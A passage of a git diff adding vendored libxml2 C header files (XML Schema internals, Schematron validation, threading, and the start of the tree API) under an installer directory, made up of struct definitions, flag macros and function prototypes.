*/ +#define XML_SCHEMAS_ATTRGROUP_MARKED 1 << 2 + +/** + * XML_SCHEMAS_ATTRGROUP_REDEFINED: + * + * The attr group was redefined. + */ +#define XML_SCHEMAS_ATTRGROUP_REDEFINED 1 << 3 +/** + * XML_SCHEMAS_ATTRGROUP_HAS_REFS: + * + * Whether this attr. group contains attr. group references. + */ +#define XML_SCHEMAS_ATTRGROUP_HAS_REFS 1 << 4 + +/** + * An attribute group definition. + * + * xmlSchemaAttribute and xmlSchemaAttributeGroup start of structures + * must be kept similar + */ +typedef struct _xmlSchemaAttributeGroup xmlSchemaAttributeGroup; +typedef xmlSchemaAttributeGroup *xmlSchemaAttributeGroupPtr; +struct _xmlSchemaAttributeGroup { + xmlSchemaTypeType type; /* The kind of type */ + struct _xmlSchemaAttribute *next;/* the next attribute if in a group ... */ + const xmlChar *name; + const xmlChar *id; + const xmlChar *ref; /* Deprecated; not used */ + const xmlChar *refNs; /* Deprecated; not used */ + xmlSchemaAnnotPtr annot; + + xmlSchemaAttributePtr attributes; /* Deprecated; not used */ + xmlNodePtr node; + int flags; + xmlSchemaWildcardPtr attributeWildcard; + const xmlChar *refPrefix; /* Deprecated; not used */ + xmlSchemaAttributeGroupPtr refItem; /* Deprecated; not used */ + const xmlChar *targetNamespace; + void *attrUses; +}; + +/** + * xmlSchemaTypeLink: + * Used to build a list of types (e.g. member types of + * simpleType with variety "union"). + */ +typedef struct _xmlSchemaTypeLink xmlSchemaTypeLink; +typedef xmlSchemaTypeLink *xmlSchemaTypeLinkPtr; +struct _xmlSchemaTypeLink { + struct _xmlSchemaTypeLink *next;/* the next type link ... */ + xmlSchemaTypePtr type;/* the linked type */ +}; + +/** + * xmlSchemaFacetLink: + * Used to build a list of facets. + */ +typedef struct _xmlSchemaFacetLink xmlSchemaFacetLink; +typedef xmlSchemaFacetLink *xmlSchemaFacetLinkPtr; +struct _xmlSchemaFacetLink { + struct _xmlSchemaFacetLink *next;/* the next facet link ... */ + xmlSchemaFacetPtr facet;/* the linked facet */ +}; + +/** + * XML_SCHEMAS_TYPE_MIXED: + * + * the element content type is mixed + */ +#define XML_SCHEMAS_TYPE_MIXED 1 << 0 +/** + * XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION: + * + * the simple or complex type has a derivation method of "extension". + */ +#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION 1 << 1 +/** + * XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION: + * + * the simple or complex type has a derivation method of "restriction". + */ +#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION 1 << 2 +/** + * XML_SCHEMAS_TYPE_GLOBAL: + * + * the type is global + */ +#define XML_SCHEMAS_TYPE_GLOBAL 1 << 3 +/** + * XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD: + * + * the complexType owns an attribute wildcard, i.e. + * it can be freed by the complexType + */ +#define XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD 1 << 4 /* Obsolete. */ +/** + * XML_SCHEMAS_TYPE_VARIETY_ABSENT: + * + * the simpleType has a variety of "absent". + * TODO: Actually not necessary :-/, since if + * none of the variety flags occur then it's + * automatically absent. + */ +#define XML_SCHEMAS_TYPE_VARIETY_ABSENT 1 << 5 +/** + * XML_SCHEMAS_TYPE_VARIETY_LIST: + * + * the simpleType has a variety of "list". + */ +#define XML_SCHEMAS_TYPE_VARIETY_LIST 1 << 6 +/** + * XML_SCHEMAS_TYPE_VARIETY_UNION: + * + * the simpleType has a variety of "union". + */ +#define XML_SCHEMAS_TYPE_VARIETY_UNION 1 << 7 +/** + * XML_SCHEMAS_TYPE_VARIETY_ATOMIC: + * + * the simpleType has a variety of "union". + */ +#define XML_SCHEMAS_TYPE_VARIETY_ATOMIC 1 << 8 +/** + * XML_SCHEMAS_TYPE_FINAL_EXTENSION: + * + * the complexType has a final of "extension". + */ +#define XML_SCHEMAS_TYPE_FINAL_EXTENSION 1 << 9 +/** + * XML_SCHEMAS_TYPE_FINAL_RESTRICTION: + * + * the simpleType/complexType has a final of "restriction". + */ +#define XML_SCHEMAS_TYPE_FINAL_RESTRICTION 1 << 10 +/** + * XML_SCHEMAS_TYPE_FINAL_LIST: + * + * the simpleType has a final of "list". + */ +#define XML_SCHEMAS_TYPE_FINAL_LIST 1 << 11 +/** + * XML_SCHEMAS_TYPE_FINAL_UNION: + * + * the simpleType has a final of "union". + */ +#define XML_SCHEMAS_TYPE_FINAL_UNION 1 << 12 +/** + * XML_SCHEMAS_TYPE_FINAL_DEFAULT: + * + * the simpleType has a final of "default". + */ +#define XML_SCHEMAS_TYPE_FINAL_DEFAULT 1 << 13 +/** + * XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE: + * + * Marks the item as a builtin primitive. + */ +#define XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE 1 << 14 +/** + * XML_SCHEMAS_TYPE_MARKED: + * + * Marks the item as marked; used for circular checks. + */ +#define XML_SCHEMAS_TYPE_MARKED 1 << 16 +/** + * XML_SCHEMAS_TYPE_BLOCK_DEFAULT: + * + * the complexType did not specify 'block' so use the default of the + * item. + */ +#define XML_SCHEMAS_TYPE_BLOCK_DEFAULT 1 << 17 +/** + * XML_SCHEMAS_TYPE_BLOCK_EXTENSION: + * + * the complexType has a 'block' of "extension". + */ +#define XML_SCHEMAS_TYPE_BLOCK_EXTENSION 1 << 18 +/** + * XML_SCHEMAS_TYPE_BLOCK_RESTRICTION: + * + * the complexType has a 'block' of "restriction". + */ +#define XML_SCHEMAS_TYPE_BLOCK_RESTRICTION 1 << 19 +/** + * XML_SCHEMAS_TYPE_ABSTRACT: + * + * the simple/complexType is abstract. + */ +#define XML_SCHEMAS_TYPE_ABSTRACT 1 << 20 +/** + * XML_SCHEMAS_TYPE_FACETSNEEDVALUE: + * + * indicates if the facets need a computed value + */ +#define XML_SCHEMAS_TYPE_FACETSNEEDVALUE 1 << 21 +/** + * XML_SCHEMAS_TYPE_INTERNAL_RESOLVED: + * + * indicates that the type was typefixed + */ +#define XML_SCHEMAS_TYPE_INTERNAL_RESOLVED 1 << 22 +/** + * XML_SCHEMAS_TYPE_INTERNAL_INVALID: + * + * indicates that the type is invalid + */ +#define XML_SCHEMAS_TYPE_INTERNAL_INVALID 1 << 23 +/** + * XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE: + * + * a whitespace-facet value of "preserve" + */ +#define XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE 1 << 24 +/** + * XML_SCHEMAS_TYPE_WHITESPACE_REPLACE: + * + * a whitespace-facet value of "replace" + */ +#define XML_SCHEMAS_TYPE_WHITESPACE_REPLACE 1 << 25 +/** + * XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE: + * + * a whitespace-facet value of "collapse" + */ +#define XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE 1 << 26 +/** + * XML_SCHEMAS_TYPE_HAS_FACETS: + * + * has facets + */ +#define XML_SCHEMAS_TYPE_HAS_FACETS 1 << 27 +/** + * XML_SCHEMAS_TYPE_NORMVALUENEEDED: + * + * indicates if the facets (pattern) need a normalized value + */ +#define XML_SCHEMAS_TYPE_NORMVALUENEEDED 1 << 28 + +/** + * XML_SCHEMAS_TYPE_FIXUP_1: + * + * First stage of fixup was done. + */ +#define XML_SCHEMAS_TYPE_FIXUP_1 1 << 29 + +/** + * XML_SCHEMAS_TYPE_REDEFINED: + * + * The type was redefined. + */ +#define XML_SCHEMAS_TYPE_REDEFINED 1 << 30 +/** + * XML_SCHEMAS_TYPE_REDEFINING: + * + * The type redefines an other type. + */ +/* #define XML_SCHEMAS_TYPE_REDEFINING 1 << 31 */ + +/** + * _xmlSchemaType: + * + * Schemas type definition. + */ +struct _xmlSchemaType { + xmlSchemaTypeType type; /* The kind of type */ + struct _xmlSchemaType *next; /* the next type if in a sequence ... */ + const xmlChar *name; + const xmlChar *id ; /* Deprecated; not used */ + const xmlChar *ref; /* Deprecated; not used */ + const xmlChar *refNs; /* Deprecated; not used */ + xmlSchemaAnnotPtr annot; + xmlSchemaTypePtr subtypes; + xmlSchemaAttributePtr attributes; /* Deprecated; not used */ + xmlNodePtr node; + int minOccurs; /* Deprecated; not used */ + int maxOccurs; /* Deprecated; not used */ + + int flags; + xmlSchemaContentType contentType; + const xmlChar *base; /* Base type's local name */ + const xmlChar *baseNs; /* Base type's target namespace */ + xmlSchemaTypePtr baseType; /* The base type component */ + xmlSchemaFacetPtr facets; /* Local facets */ + struct _xmlSchemaType *redef; /* Deprecated; not used */ + int recurse; /* Obsolete */ + xmlSchemaAttributeLinkPtr *attributeUses; /* Deprecated; not used */ + xmlSchemaWildcardPtr attributeWildcard; + int builtInType; /* Type of built-in types. */ + xmlSchemaTypeLinkPtr memberTypes; /* member-types if a union type. */ + xmlSchemaFacetLinkPtr facetSet; /* All facets (incl. inherited) */ + const xmlChar *refPrefix; /* Deprecated; not used */ + xmlSchemaTypePtr contentTypeDef; /* Used for the simple content of complex types. + Could we use @subtypes for this? */ + xmlRegexpPtr contModel; /* Holds the automaton of the content model */ + const xmlChar *targetNamespace; + void *attrUses; +}; + +/* + * xmlSchemaElement: + * An element definition. + * + * xmlSchemaType, xmlSchemaFacet and xmlSchemaElement start of + * structures must be kept similar + */ +/** + * XML_SCHEMAS_ELEM_NILLABLE: + * + * the element is nillable + */ +#define XML_SCHEMAS_ELEM_NILLABLE 1 << 0 +/** + * XML_SCHEMAS_ELEM_GLOBAL: + * + * the element is global + */ +#define XML_SCHEMAS_ELEM_GLOBAL 1 << 1 +/** + * XML_SCHEMAS_ELEM_DEFAULT: + * + * the element has a default value + */ +#define XML_SCHEMAS_ELEM_DEFAULT 1 << 2 +/** + * XML_SCHEMAS_ELEM_FIXED: + * + * the element has a fixed value + */ +#define XML_SCHEMAS_ELEM_FIXED 1 << 3 +/** + * XML_SCHEMAS_ELEM_ABSTRACT: + * + * the element is abstract + */ +#define XML_SCHEMAS_ELEM_ABSTRACT 1 << 4 +/** + * XML_SCHEMAS_ELEM_TOPLEVEL: + * + * the element is top level + * obsolete: use XML_SCHEMAS_ELEM_GLOBAL instead + */ +#define XML_SCHEMAS_ELEM_TOPLEVEL 1 << 5 +/** + * XML_SCHEMAS_ELEM_REF: + * + * the element is a reference to a type + */ +#define XML_SCHEMAS_ELEM_REF 1 << 6 +/** + * XML_SCHEMAS_ELEM_NSDEFAULT: + * + * allow elements in no namespace + * Obsolete, not used anymore. + */ +#define XML_SCHEMAS_ELEM_NSDEFAULT 1 << 7 +/** + * XML_SCHEMAS_ELEM_INTERNAL_RESOLVED: + * + * this is set when "type", "ref", "substitutionGroup" + * references have been resolved. + */ +#define XML_SCHEMAS_ELEM_INTERNAL_RESOLVED 1 << 8 + /** + * XML_SCHEMAS_ELEM_CIRCULAR: + * + * a helper flag for the search of circular references. + */ +#define XML_SCHEMAS_ELEM_CIRCULAR 1 << 9 +/** + * XML_SCHEMAS_ELEM_BLOCK_ABSENT: + * + * the "block" attribute is absent + */ +#define XML_SCHEMAS_ELEM_BLOCK_ABSENT 1 << 10 +/** + * XML_SCHEMAS_ELEM_BLOCK_EXTENSION: + * + * disallowed substitutions are absent + */ +#define XML_SCHEMAS_ELEM_BLOCK_EXTENSION 1 << 11 +/** + * XML_SCHEMAS_ELEM_BLOCK_RESTRICTION: + * + * disallowed substitutions: "restriction" + */ +#define XML_SCHEMAS_ELEM_BLOCK_RESTRICTION 1 << 12 +/** + * XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION: + * + * disallowed substitutions: "substituion" + */ +#define XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION 1 << 13 +/** + * XML_SCHEMAS_ELEM_FINAL_ABSENT: + * + * substitution group exclusions are absent + */ +#define XML_SCHEMAS_ELEM_FINAL_ABSENT 1 << 14 +/** + * XML_SCHEMAS_ELEM_FINAL_EXTENSION: + * + * substitution group exclusions: "extension" + */ +#define XML_SCHEMAS_ELEM_FINAL_EXTENSION 1 << 15 +/** + * XML_SCHEMAS_ELEM_FINAL_RESTRICTION: + * + * substitution group exclusions: "restriction" + */ +#define XML_SCHEMAS_ELEM_FINAL_RESTRICTION 1 << 16 +/** + * XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD: + * + * the declaration is a substitution group head + */ +#define XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD 1 << 17 +/** + * XML_SCHEMAS_ELEM_INTERNAL_CHECKED: + * + * this is set when the elem decl has been checked against + * all constraints + */ +#define XML_SCHEMAS_ELEM_INTERNAL_CHECKED 1 << 18 + +typedef struct _xmlSchemaElement xmlSchemaElement; +typedef xmlSchemaElement *xmlSchemaElementPtr; +struct _xmlSchemaElement { + xmlSchemaTypeType type; /* The kind of type */ + struct _xmlSchemaType *next; /* Not used? */ + const xmlChar *name; + const xmlChar *id; /* Deprecated; not used */ + const xmlChar *ref; /* Deprecated; not used */ + const xmlChar *refNs; /* Deprecated; not used */ + xmlSchemaAnnotPtr annot; + xmlSchemaTypePtr subtypes; /* the type definition */ + xmlSchemaAttributePtr attributes; + xmlNodePtr node; + int minOccurs; /* Deprecated; not used */ + int maxOccurs; /* Deprecated; not used */ + + int flags; + const xmlChar *targetNamespace; + const xmlChar *namedType; + const xmlChar *namedTypeNs; + const xmlChar *substGroup; + const xmlChar *substGroupNs; + const xmlChar *scope; + const xmlChar *value; /* The original value of the value constraint. */ + struct _xmlSchemaElement *refDecl; /* This will now be used for the + substitution group affiliation */ + xmlRegexpPtr contModel; /* Obsolete for WXS, maybe used for RelaxNG */ + xmlSchemaContentType contentType; + const xmlChar *refPrefix; /* Deprecated; not used */ + xmlSchemaValPtr defVal; /* The compiled value contraint. */ + void *idcs; /* The identity-constraint defs */ +}; + +/* + * XML_SCHEMAS_FACET_UNKNOWN: + * + * unknown facet handling + */ +#define XML_SCHEMAS_FACET_UNKNOWN 0 +/* + * XML_SCHEMAS_FACET_PRESERVE: + * + * preserve the type of the facet + */ +#define XML_SCHEMAS_FACET_PRESERVE 1 +/* + * XML_SCHEMAS_FACET_REPLACE: + * + * replace the type of the facet + */ +#define XML_SCHEMAS_FACET_REPLACE 2 +/* + * XML_SCHEMAS_FACET_COLLAPSE: + * + * collapse the types of the facet + */ +#define XML_SCHEMAS_FACET_COLLAPSE 3 +/** + * A facet definition. + */ +struct _xmlSchemaFacet { + xmlSchemaTypeType type; /* The kind of type */ + struct _xmlSchemaFacet *next;/* the next type if in a sequence ... */ + const xmlChar *value; /* The original value */ + const xmlChar *id; /* Obsolete */ + xmlSchemaAnnotPtr annot; + xmlNodePtr node; + int fixed; /* XML_SCHEMAS_FACET_PRESERVE, etc. */ + int whitespace; + xmlSchemaValPtr val; /* The compiled value */ + xmlRegexpPtr regexp; /* The regex for patterns */ +}; + +/** + * A notation definition. + */ +typedef struct _xmlSchemaNotation xmlSchemaNotation; +typedef xmlSchemaNotation *xmlSchemaNotationPtr; +struct _xmlSchemaNotation { + xmlSchemaTypeType type; /* The kind of type */ + const xmlChar *name; + xmlSchemaAnnotPtr annot; + const xmlChar *identifier; + const xmlChar *targetNamespace; +}; + +/* +* TODO: Actually all those flags used for the schema should sit +* on the schema parser context, since they are used only +* during parsing an XML schema document, and not available +* on the component level as per spec. +*/ +/** + * XML_SCHEMAS_QUALIF_ELEM: + * + * Reflects elementFormDefault == qualified in + * an XML schema document. + */ +#define XML_SCHEMAS_QUALIF_ELEM 1 << 0 +/** + * XML_SCHEMAS_QUALIF_ATTR: + * + * Reflects attributeFormDefault == qualified in + * an XML schema document. + */ +#define XML_SCHEMAS_QUALIF_ATTR 1 << 1 +/** + * XML_SCHEMAS_FINAL_DEFAULT_EXTENSION: + * + * the schema has "extension" in the set of finalDefault. + */ +#define XML_SCHEMAS_FINAL_DEFAULT_EXTENSION 1 << 2 +/** + * XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION: + * + * the schema has "restriction" in the set of finalDefault. + */ +#define XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION 1 << 3 +/** + * XML_SCHEMAS_FINAL_DEFAULT_LIST: + * + * the cshema has "list" in the set of finalDefault. + */ +#define XML_SCHEMAS_FINAL_DEFAULT_LIST 1 << 4 +/** + * XML_SCHEMAS_FINAL_DEFAULT_UNION: + * + * the schema has "union" in the set of finalDefault. + */ +#define XML_SCHEMAS_FINAL_DEFAULT_UNION 1 << 5 +/** + * XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION: + * + * the schema has "extension" in the set of blockDefault. + */ +#define XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION 1 << 6 +/** + * XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION: + * + * the schema has "restriction" in the set of blockDefault. + */ +#define XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION 1 << 7 +/** + * XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION: + * + * the schema has "substitution" in the set of blockDefault. + */ +#define XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION 1 << 8 +/** + * XML_SCHEMAS_INCLUDING_CONVERT_NS: + * + * the schema is currently including an other schema with + * no target namespace. + */ +#define XML_SCHEMAS_INCLUDING_CONVERT_NS 1 << 9 +/** + * _xmlSchema: + * + * A Schemas definition + */ +struct _xmlSchema { + const xmlChar *name; /* schema name */ + const xmlChar *targetNamespace; /* the target namespace */ + const xmlChar *version; + const xmlChar *id; /* Obsolete */ + xmlDocPtr doc; + xmlSchemaAnnotPtr annot; + int flags; + + xmlHashTablePtr typeDecl; + xmlHashTablePtr attrDecl; + xmlHashTablePtr attrgrpDecl; + xmlHashTablePtr elemDecl; + xmlHashTablePtr notaDecl; + + xmlHashTablePtr schemasImports; + + void *_private; /* unused by the library for users or bindings */ + xmlHashTablePtr groupDecl; + xmlDictPtr dict; + void *includes; /* the includes, this is opaque for now */ + int preserve; /* whether to free the document */ + int counter; /* used to give ononymous components unique names */ + xmlHashTablePtr idcDef; /* All identity-constraint defs. */ + void *volatiles; /* Obsolete */ +}; + +XMLPUBFUN void XMLCALL xmlSchemaFreeType (xmlSchemaTypePtr type); +XMLPUBFUN void XMLCALL xmlSchemaFreeWildcard(xmlSchemaWildcardPtr wildcard); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_SCHEMAS_ENABLED */ +#endif /* __XML_SCHEMA_INTERNALS_H__ */ diff --git a/installer/libxml2/include/libxml/schematron.h b/installer/libxml2/include/libxml/schematron.h new file mode 100644 index 0000000..364eaec --- /dev/null +++ b/installer/libxml2/include/libxml/schematron.h @@ -0,0 +1,142 @@ +/* + * Summary: XML Schemastron implementation + * Description: interface to the XML Schematron validity checking. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SCHEMATRON_H__ +#define __XML_SCHEMATRON_H__ + +#include + +#ifdef LIBXML_SCHEMATRON_ENABLED + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + XML_SCHEMATRON_OUT_QUIET = 1 << 0, /* quiet no report */ + XML_SCHEMATRON_OUT_TEXT = 1 << 1, /* build a textual report */ + XML_SCHEMATRON_OUT_XML = 1 << 2, /* output SVRL */ + XML_SCHEMATRON_OUT_ERROR = 1 << 3, /* output via xmlStructuredErrorFunc */ + XML_SCHEMATRON_OUT_FILE = 1 << 8, /* output to a file descriptor */ + XML_SCHEMATRON_OUT_BUFFER = 1 << 9, /* output to a buffer */ + XML_SCHEMATRON_OUT_IO = 1 << 10 /* output to I/O mechanism */ +} xmlSchematronValidOptions; + +/** + * The schemas related types are kept internal + */ +typedef struct _xmlSchematron xmlSchematron; +typedef xmlSchematron *xmlSchematronPtr; + +/** + * xmlSchematronValidityErrorFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of an error callback from a Schematron validation + */ +typedef void (*xmlSchematronValidityErrorFunc) (void *ctx, const char *msg, ...); + +/** + * xmlSchematronValidityWarningFunc: + * @ctx: the validation context + * @msg: the message + * @...: extra arguments + * + * Signature of a warning callback from a Schematron validation + */ +typedef void (*xmlSchematronValidityWarningFunc) (void *ctx, const char *msg, ...); + +/** + * A schemas validation context + */ +typedef struct _xmlSchematronParserCtxt xmlSchematronParserCtxt; +typedef xmlSchematronParserCtxt *xmlSchematronParserCtxtPtr; + +typedef struct _xmlSchematronValidCtxt xmlSchematronValidCtxt; +typedef xmlSchematronValidCtxt *xmlSchematronValidCtxtPtr; + +/* + * Interfaces for parsing. + */ +XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL + xmlSchematronNewParserCtxt (const char *URL); +XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL + xmlSchematronNewMemParserCtxt(const char *buffer, + int size); +XMLPUBFUN xmlSchematronParserCtxtPtr XMLCALL + xmlSchematronNewDocParserCtxt(xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlSchematronFreeParserCtxt (xmlSchematronParserCtxtPtr ctxt); +/***** +XMLPUBFUN void XMLCALL + xmlSchematronSetParserErrors(xmlSchematronParserCtxtPtr ctxt, + xmlSchematronValidityErrorFunc err, + xmlSchematronValidityWarningFunc warn, + void *ctx); +XMLPUBFUN int XMLCALL + xmlSchematronGetParserErrors(xmlSchematronParserCtxtPtr ctxt, + xmlSchematronValidityErrorFunc * err, + xmlSchematronValidityWarningFunc * warn, + void **ctx); +XMLPUBFUN int XMLCALL + xmlSchematronIsValid (xmlSchematronValidCtxtPtr ctxt); + *****/ +XMLPUBFUN xmlSchematronPtr XMLCALL + xmlSchematronParse (xmlSchematronParserCtxtPtr ctxt); +XMLPUBFUN void XMLCALL + xmlSchematronFree (xmlSchematronPtr schema); +/* + * Interfaces for validating + */ +XMLPUBFUN void XMLCALL + xmlSchematronSetValidStructuredErrors( + xmlSchematronValidCtxtPtr ctxt, + xmlStructuredErrorFunc serror, + void *ctx); +/****** +XMLPUBFUN void XMLCALL + xmlSchematronSetValidErrors (xmlSchematronValidCtxtPtr ctxt, + xmlSchematronValidityErrorFunc err, + xmlSchematronValidityWarningFunc warn, + void *ctx); +XMLPUBFUN int XMLCALL + xmlSchematronGetValidErrors (xmlSchematronValidCtxtPtr ctxt, + xmlSchematronValidityErrorFunc *err, + xmlSchematronValidityWarningFunc *warn, + void **ctx); +XMLPUBFUN int XMLCALL + xmlSchematronSetValidOptions(xmlSchematronValidCtxtPtr ctxt, + int options); +XMLPUBFUN int XMLCALL + xmlSchematronValidCtxtGetOptions(xmlSchematronValidCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlSchematronValidateOneElement (xmlSchematronValidCtxtPtr ctxt, + xmlNodePtr elem); + *******/ + +XMLPUBFUN xmlSchematronValidCtxtPtr XMLCALL + xmlSchematronNewValidCtxt (xmlSchematronPtr schema, + int options); +XMLPUBFUN void XMLCALL + xmlSchematronFreeValidCtxt (xmlSchematronValidCtxtPtr ctxt); +XMLPUBFUN int XMLCALL + xmlSchematronValidateDoc (xmlSchematronValidCtxtPtr ctxt, + xmlDocPtr instance); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_SCHEMATRON_ENABLED */ +#endif /* __XML_SCHEMATRON_H__ */ diff --git a/installer/libxml2/include/libxml/threads.h b/installer/libxml2/include/libxml/threads.h new file mode 100644 index 0000000..d31f16a --- /dev/null +++ b/installer/libxml2/include/libxml/threads.h @@ -0,0 +1,84 @@ +/** + * Summary: interfaces for thread handling + * Description: set of generic threading related routines + * should work with pthreads, Windows native or TLS threads + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_THREADS_H__ +#define __XML_THREADS_H__ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * xmlMutex are a simple mutual exception locks. + */ +typedef struct _xmlMutex xmlMutex; +typedef xmlMutex *xmlMutexPtr; + +/* + * xmlRMutex are reentrant mutual exception locks. + */ +typedef struct _xmlRMutex xmlRMutex; +typedef xmlRMutex *xmlRMutexPtr; + +#ifdef __cplusplus +} +#endif +#include +#ifdef __cplusplus +extern "C" { +#endif +XMLPUBFUN xmlMutexPtr XMLCALL + xmlNewMutex (void); +XMLPUBFUN void XMLCALL + xmlMutexLock (xmlMutexPtr tok); +XMLPUBFUN void XMLCALL + xmlMutexUnlock (xmlMutexPtr tok); +XMLPUBFUN void XMLCALL + xmlFreeMutex (xmlMutexPtr tok); + +XMLPUBFUN xmlRMutexPtr XMLCALL + xmlNewRMutex (void); +XMLPUBFUN void XMLCALL + xmlRMutexLock (xmlRMutexPtr tok); +XMLPUBFUN void XMLCALL + xmlRMutexUnlock (xmlRMutexPtr tok); +XMLPUBFUN void XMLCALL + xmlFreeRMutex (xmlRMutexPtr tok); + +/* + * Library wide APIs. + */ +XMLPUBFUN void XMLCALL + xmlInitThreads (void); +XMLPUBFUN void XMLCALL + xmlLockLibrary (void); +XMLPUBFUN void XMLCALL + xmlUnlockLibrary(void); +XMLPUBFUN int XMLCALL + xmlGetThreadId (void); +XMLPUBFUN int XMLCALL + xmlIsMainThread (void); +XMLPUBFUN void XMLCALL + xmlCleanupThreads(void); +XMLPUBFUN xmlGlobalStatePtr XMLCALL + xmlGetGlobalState(void); + +#if defined(HAVE_WIN32_THREADS) && !defined(HAVE_COMPILER_TLS) && defined(LIBXML_STATIC_FOR_DLL) +int XMLCALL xmlDllMain(void *hinstDLL, unsigned long fdwReason, void *lpvReserved); +#endif + +#ifdef __cplusplus +} +#endif + + +#endif /* __XML_THREADS_H__ */ diff --git a/installer/libxml2/include/libxml/tree.h b/installer/libxml2/include/libxml/tree.h new file mode 100644 index 0000000..4a9b3bc --- /dev/null +++ b/installer/libxml2/include/libxml/tree.h @@ -0,0 +1,1311 @@ +/* + * Summary: interfaces for tree manipulation + * Description: this module describes the structures found in an tree resulting + * from an XML or HTML parsing, as well as the API provided for + * various processing on that tree + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_TREE_H__ +#define __XML_TREE_H__ + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Some of the basic types pointer to structures: + */ +/* xmlIO.h */ +typedef struct _xmlParserInputBuffer xmlParserInputBuffer; +typedef xmlParserInputBuffer *xmlParserInputBufferPtr; + +typedef struct _xmlOutputBuffer xmlOutputBuffer; +typedef xmlOutputBuffer *xmlOutputBufferPtr; + +/* parser.h */ +typedef struct _xmlParserInput xmlParserInput; +typedef xmlParserInput *xmlParserInputPtr; + +typedef struct _xmlParserCtxt xmlParserCtxt; +typedef xmlParserCtxt *xmlParserCtxtPtr; + +typedef struct _xmlSAXLocator xmlSAXLocator; +typedef xmlSAXLocator *xmlSAXLocatorPtr; + +typedef struct _xmlSAXHandler xmlSAXHandler; +typedef xmlSAXHandler *xmlSAXHandlerPtr; + +/* entities.h */ +typedef struct _xmlEntity xmlEntity; +typedef xmlEntity *xmlEntityPtr; + +/** + * BASE_BUFFER_SIZE: + * + * default buffer size 4000. + */ +#define BASE_BUFFER_SIZE 4096 + +/** + * LIBXML_NAMESPACE_DICT: + * + * Defines experimental behaviour: + * 1) xmlNs gets an additional field @context (a xmlDoc) + * 2) when creating a tree, xmlNs->href is stored in the dict of xmlDoc. + */ +/* #define LIBXML_NAMESPACE_DICT */ + +/** + * xmlBufferAllocationScheme: + * + * A buffer allocation scheme can be defined to either match exactly the + * need or double it's allocated size each time it is found too small. + */ + +typedef enum { + XML_BUFFER_ALLOC_DOUBLEIT, /* double each time one need to grow */ + XML_BUFFER_ALLOC_EXACT, /* grow only to the minimal size */ + XML_BUFFER_ALLOC_IMMUTABLE, /* immutable buffer */ + XML_BUFFER_ALLOC_IO, /* special allocation scheme used for I/O */ + XML_BUFFER_ALLOC_HYBRID, /* exact up to a threshold, and doubleit thereafter */ + XML_BUFFER_ALLOC_BOUNDED /* limit the upper size of the buffer */ +} xmlBufferAllocationScheme; + +/** + * xmlBuffer: + * + * A buffer structure, this old construct is limited to 2GB and + * is being deprecated, use API with xmlBuf instead + */ +typedef struct _xmlBuffer xmlBuffer; +typedef xmlBuffer *xmlBufferPtr; +struct _xmlBuffer { + xmlChar *content; /* The buffer content UTF8 */ + unsigned int use; /* The buffer size used */ + unsigned int size; /* The buffer size */ + xmlBufferAllocationScheme alloc; /* The realloc method */ + xmlChar *contentIO; /* in IO mode we may have a different base */ +}; + +/** + * xmlBuf: + * + * A buffer structure, new one, the actual structure internals are not public + */ + +typedef struct _xmlBuf xmlBuf; + +/** + * xmlBufPtr: + * + * A pointer to a buffer structure, the actual structure internals are not + * public + */ + +typedef xmlBuf *xmlBufPtr; + +/* + * A few public routines for xmlBuf. As those are expected to be used + * mostly internally the bulk of the routines are internal in buf.h + */ +XMLPUBFUN xmlChar* XMLCALL xmlBufContent (const xmlBuf* buf); +XMLPUBFUN xmlChar* XMLCALL xmlBufEnd (xmlBufPtr buf); +XMLPUBFUN size_t XMLCALL xmlBufUse (const xmlBufPtr buf); +XMLPUBFUN size_t XMLCALL xmlBufShrink (xmlBufPtr buf, size_t len); + +/* + * LIBXML2_NEW_BUFFER: + * + * Macro used to express that the API use the new buffers for + * xmlParserInputBuffer and xmlOutputBuffer. The change was + * introduced in 2.9.0. + */ +#define LIBXML2_NEW_BUFFER + +/** + * XML_XML_NAMESPACE: + * + * This is the namespace for the special xml: prefix predefined in the + * XML Namespace specification. + */ +#define XML_XML_NAMESPACE \ + (const xmlChar *) "http://www.w3.org/XML/1998/namespace" + +/** + * XML_XML_ID: + * + * This is the name for the special xml:id attribute + */ +#define XML_XML_ID (const xmlChar *) "xml:id" + +/* + * The different element types carried by an XML tree. + * + * NOTE: This is synchronized with DOM Level1 values + * See http://www.w3.org/TR/REC-DOM-Level-1/ + * + * Actually this had diverged a bit, and now XML_DOCUMENT_TYPE_NODE 